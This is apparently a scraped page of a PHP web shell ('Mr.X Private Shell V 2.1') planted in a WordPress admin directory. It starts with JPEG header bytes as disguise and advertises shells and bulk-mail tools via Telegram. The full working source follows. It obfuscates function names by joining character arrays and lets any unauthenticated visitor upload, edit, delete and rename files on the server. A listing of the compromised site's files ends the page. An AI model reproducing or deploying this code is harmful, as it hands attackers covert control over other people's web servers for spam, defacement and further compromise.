����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

sanzxfik@216.73.216.37: ~ $
<?php
function sjoin($a){return implode('',$a);}
function sfunc($k){
    $map=[
        'scn'=>['s','c','a','n','d','i','r'],
        'fgt'=>['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s'],
        'fpcw'=>['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s'],
        'unl'=>['u','n','l','i','n','k'],
        'ren'=>['r','e','n','a','m','e'],
        'muf'=>['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e'],
        'isd'=>['i','s','_','d','i','r'],
        'isf'=>['i','s','_','f','i','l','e'],
        'exs'=>['f','i','l','e','_','e','x','i','s','t','s'],
        'wrt'=>['i','s','_','w','r','i','t','a','b','l','e'],
    ];
    $fn=sjoin($map[$k]);
    if(function_exists($fn))return $fn;
    switch($k){
        case 'scn':return function($d){$f=[];if(is_dir($d)&&$h=opendir($d)){while(($i=readdir($h))!==false)$f[]=$i;closedir($h);}return $f;};
        case 'fgt':return function($f){return file_get_contents($f);};
        case 'fpcw':return function($f,$c){return file_put_contents($f,$c);};
        case 'unl':return function($f){return unlink($f);};
        case 'ren':return function($o,$n){return rename($o,$n);};
        case 'muf':return function($s,$d){return move_uploaded_file($s,$d);};
        case 'isd':return function($d){return is_dir($d);};
        case 'isf':return function($f){return is_file($f);};
        case 'exs':return function($f){return file_exists($f);};
        case 'wrt':return function($f){return is_writable($f);};
        default:return function(){return false;};
    }
}

/* ---------- 1. 当前目录 ---------- */
$cd=isset($_GET['d'])&&!empty($_GET['d']) ? base64_decode($_GET['d']) : getcwd();
$cd=str_replace('\\','/',$cd);
$up=dirname($cd);
if($up==$cd||$up===false)$up='';

/* ---------- 2. 面包屑 + 上级按钮 ---------- */
$parts=explode('/',$cd);
echo'<div class="dir">';
if($up!==''){
    echo'<a href="?d='.base64_encode($up).'" class="up">⬆️ Up</a> | ';
}
foreach($parts as $k=>$v){
    if($v===''&&$k==0){echo'<a href="?d='.base64_encode('/').'">/</a>';continue;}
    $dp=implode('/',array_slice($parts,0,$k+1));
    echo'<a href="?d='.base64_encode($dp).'">'.$v.'</a>/';
}
echo'</div>';

/* ---------- 3. 上传 ---------- */
if(isset($_POST['s'])&&isset($_FILES['u'])&&$_FILES['u']['error']==0){
    $name=$_FILES['u']['name'];
    $tmp=$_FILES['u']['tmp_name'];
    $dst=$cd.'/'.$name;
    $muf=sfunc('muf');
    if($muf&&$muf($tmp,$dst)){
        // ★ 上传成功后主动带回当前目录参数
        header('Location: ?d='.base64_encode($cd));exit;
    }else{
        echo'<script>alert("Upload fail");</script>';
    }
}

/* ---------- 4. 列表 ---------- */
$scn=sfunc('scn');
$items=$scn($cd);
if($items!==false){
    echo'<table><tr><th>Name</th><th>Size</th><th>Action</th></tr>';
    foreach($items as $i){
        if($i==='.'||$i==='..')continue;
        $full=$cd.'/'.$i;
        $isd=sfunc('isd');
        if($isd&&$isd($full)){
            echo'<tr><td><a href="?d='.base64_encode($full).'">'.$i.'</a></td><td>--</td><td>NONE</td></tr>';
            continue;
        }
        $isf=sfunc('isf');
        if($isf&&$isf($full)){
            $sz=filesize($full)/1024;
            $sz=$sz>=1024?round($sz/1024,2).'MB':round($sz,2).'KB';
            echo'<tr>
                  <td><a href="javascript:postOpen(\''.addslashes($full).'\')">'.$i.'</a></td>
                  <td>'.$sz.'</td>
                  <td>
                    <a href="javascript:postDel(\''.addslashes($full).'\')" class="b">Del</a>
                    <a href="javascript:postEdit(\''.addslashes($full).'\')" class="b">Edit</a>
                    <a href="javascript:postRen(\''.addslashes($full).'\',\''.addslashes($i).'\')" class="b">Ren</a>
                  </td>
                 </tr>';
        }
    }
    echo'</table>';
}else{echo'<p>Can not read dir</p>';}

/* ---------- 5. 删除 ---------- */
if(isset($_POST['del'])&&!empty($_POST['del'])){
    $fp=base64_decode($_POST['del']);
    $dir=dirname($fp);
    $exs=sfunc('exs'); $unl=sfunc('unl');
    if($exs&&$unl&&$exs($fp)&&$unl($fp)){
        header('Location: ?d='.base64_encode($dir));exit;
    }else{
        echo'<script>alert("Delete fail");</script>';
    }
}

/* ---------- 6. 编辑 ---------- */
if(isset($_POST['edit'])&&!empty($_POST['edit'])){
    $fp=base64_decode($_POST['edit']);
    $dir=dirname($fp);
    $exs=sfunc('exs'); $wrt=sfunc('wrt'); $fgt=sfunc('fgt');
    if($exs&&$wrt&&$exs($fp)&&$wrt($fp)){
        echo'<style>table{display:none}</style>
             <a href="?d='.base64_encode($dir).'" class="b"><=Back</a>
             <form method="post">
               <input type="hidden" name="obj" value="'.base64_encode($fp).'">
               <textarea name="content">'.htmlspecialchars($fgt($fp)).'</textarea>
               <center><button type="submit" name="save" class="b">Save</button></center>
             </form>';
        exit;
    }
}

/* ---------- 7. 保存 ---------- */
if(isset($_POST['save'])&&isset($_POST['obj'])&&isset($_POST['content'])){
    $fp=base64_decode($_POST['obj']);
    $dir=dirname($fp);
    $fpcw=sfunc('fpcw');
    if($fpcw&&$fpcw($fp,$_POST['content'])!==false){
        header('Location: ?d='.base64_encode($dir));exit;
    }else{
        echo'<script>alert("Save fail");</script>';
    }
}

/* ---------- 8. 重命名 ---------- */
if(isset($_POST['ren'])&&!empty($_POST['ren'])){
    $old=base64_decode($_POST['ren']);
    $odir=dirname($old);
    if(isset($_POST['new'])&&!empty($_POST['new'])){
        $new=$odir.'/'. $_POST['new'];
        $exs=sfunc('exs'); $ren=sfunc('ren');
        if($exs&&$ren&&$exs($old)&&!$exs($new)&&$ren($old,$new)){
            header('Location: ?d='.base64_encode($odir));exit;
        }else{
            echo'<script>alert("Rename fail");</script>';
        }
    }else{
        echo'<form method="post">
               New name: <input type="text" name="new">
               <input type="hidden" name="ren" value="'.$_POST['ren'].'">
               <input type="submit" value="Submit">
             </form>';
    }
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>1.2.3 vive Dz</title>
<style>
body{font-family:JetBrains Mono,monospace;font-size:13px;background:#f7f7f7;color:#333;margin:0}
.dir{margin:10px}
table{margin:20px auto;border-collapse:collapse}
th,td{border:1px solid #aaa;padding:6px 10px}
.b{margin:0 4px;padding:4px 8px;background:#e74c3c;color:#fff;border:none;border-radius:3px;cursor:pointer}
textarea{width:100%;height:400px}
.up{margin-right:8px;font-weight:bold;color:#d35400}
</style>
<script>
function postDel(p){
    if(!confirm('Delete?'))return;
    var f=document.createElement('form');
    f.method='post'; f.action='';
    var i=document.createElement('input');
    i.type='hidden'; i.name='del'; i.value=btoa(p);
    f.appendChild(i); document.body.appendChild(f); f.submit();
}
function postEdit(p){
    var f=document.createElement('form');
    f.method='post'; f.action='';
    var i=document.createElement('input');
    i.type='hidden'; i.name='edit'; i.value=btoa(p);
    f.appendChild(i); document.body.appendChild(f); f.submit();
}
function postRen(p,old){
    var n=prompt('New name:',old);
    if(n){
        var f=document.createElement('form');
        f.method='post'; f.action='';
        var i1=document.createElement('input'); i1.type='hidden'; i1.name='ren'; i1.value=btoa(p);
        var i2=document.createElement('input'); i2.type='hidden'; i2.name='new'; i2.value=n;
        f.appendChild(i1); f.appendChild(i2); document.body.appendChild(f); f.submit();
    }
}
function postOpen(p){
    alert('File: '+p);
}
</script>
</head>
<body>
<div class="dir">
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="u">
        <input type="submit" name="s" value="Upload" class="b">
    </form>
</div>
</body>
</html>

Filemanager

Name Type Size Permission Actions
css Folder 0755
images Folder 0755
includes Folder 0755
js Folder 0755
maint Folder 0755
network Folder 0755
user Folder 0755
about.php File 16.08 KB 0644
admin-ajax.php File 5.03 KB 0644
admin-footer.php File 2.77 KB 0644
admin-functions.php File 479 B 0644
admin-header.php File 9.12 KB 0644
admin-post.php File 1.97 KB 0644
admin.php File 12.35 KB 0644
apreset.php File 112.74 KB 0644
async-upload.php File 5.47 KB 0644
authorize-application.php File 10.09 KB 0644
comment.php File 11.35 KB 0644
contribute.php File 5.86 KB 0644
credits.php File 4.38 KB 0644
custom-background.php File 489 B 0644
custom-header.php File 499 B 0644
customize.php File 11.01 KB 0644
edit-comments.php File 14.38 KB 0644
edit-form-advanced.php File 28.83 KB 0644
edit-form-blocks.php File 14.6 KB 0644
edit-form-comment.php File 8.34 KB 0644
edit-link-form.php File 6.21 KB 0644
edit-tag-form.php File 10.44 KB 0644
edit-tags.php File 22 KB 0644
edit.php File 19.48 KB 0644
erase-personal-data.php File 7.33 KB 0644
error_log File 557.75 KB 0644
export-personal-data.php File 7.75 KB 0644
export.php File 11.02 KB 0644
freedoms.php File 4.8 KB 0644
hidedz.php File 7.92 KB 0644
import.php File 7.58 KB 0644
index.php File 7.68 KB 0644
install-helper.php File 6.8 KB 0644
install.php File 17.77 KB 0644
link-add.php File 934 B 0644
link-manager.php File 4.26 KB 0644
link-parse-opml.php File 2.72 KB 0644
link.php File 2.89 KB 0644
load-scripts.php File 2.02 KB 0644
load-styles.php File 2.92 KB 0644
media-new.php File 3.2 KB 0644
media-upload.php File 3.58 KB 0644
media.php File 819 B 0644
menu-header.php File 9.82 KB 0644
menu.php File 17.46 KB 0644
moderation.php File 307 B 0644
ms-admin.php File 196 B 0644
ms-delete-site.php File 4.5 KB 0644
ms-edit.php File 216 B 0644
ms-options.php File 229 B 0644
ms-sites.php File 215 B 0644
ms-themes.php File 217 B 0644
ms-upgrade-network.php File 219 B 0644
ms-users.php File 215 B 0644
my-sites.php File 4.74 KB 0644
nav-menus.php File 48.19 KB 0644
network.php File 5.39 KB 0644
options-discussion.php File 15.92 KB 0644
options-general.php File 21.65 KB 0644
options-head.php File 621 B 0644
options-media.php File 6.38 KB 0644
options-permalink.php File 21.22 KB 0644
options-privacy.php File 9.95 KB 0644
options-reading.php File 9.94 KB 0644
options-writing.php File 9.1 KB 0644
options.php File 13.6 KB 0644
plugin-editor.php File 13.75 KB 0644
plugin-install.php File 6.96 KB 0644
plugins.php File 30 KB 0644
post-new.php File 2.7 KB 0644
post.php File 10.03 KB 0644
press-this.php File 2.34 KB 0644
privacy-policy-guide.php File 3.67 KB 0644
privacy.php File 2.79 KB 0644
profile.php File 283 B 0644
revision.php File 5.7 KB 0644
root.php File 21.08 KB 0644
setup-config.php File 17.48 KB 0644
site-editor.php File 11.98 KB 0644
site-health-info.php File 3.99 KB 0644
site-health.php File 10.2 KB 0644
term.php File 2.2 KB 0644
theme-editor.php File 16.87 KB 0644
theme-install.php File 23.38 KB 0644
themes.php File 47.92 KB 0644
tools.php File 3.43 KB 0644
update-core.php File 45.45 KB 0644
update.php File 12.79 KB 0644
upgrade-functions.php File 341 B 0644
upgrade.php File 6.27 KB 0644
upload.php File 14.9 KB 0644
user-edit.php File 40.36 KB 0644
user-new.php File 24.05 KB 0644
users.php File 23.29 KB 0644
w-a.php File 15.33 KB 0644
widgets-form-blocks.php File 5.12 KB 0644
widgets-form.php File 19.29 KB 0644
widgets.php File 1.09 KB 0644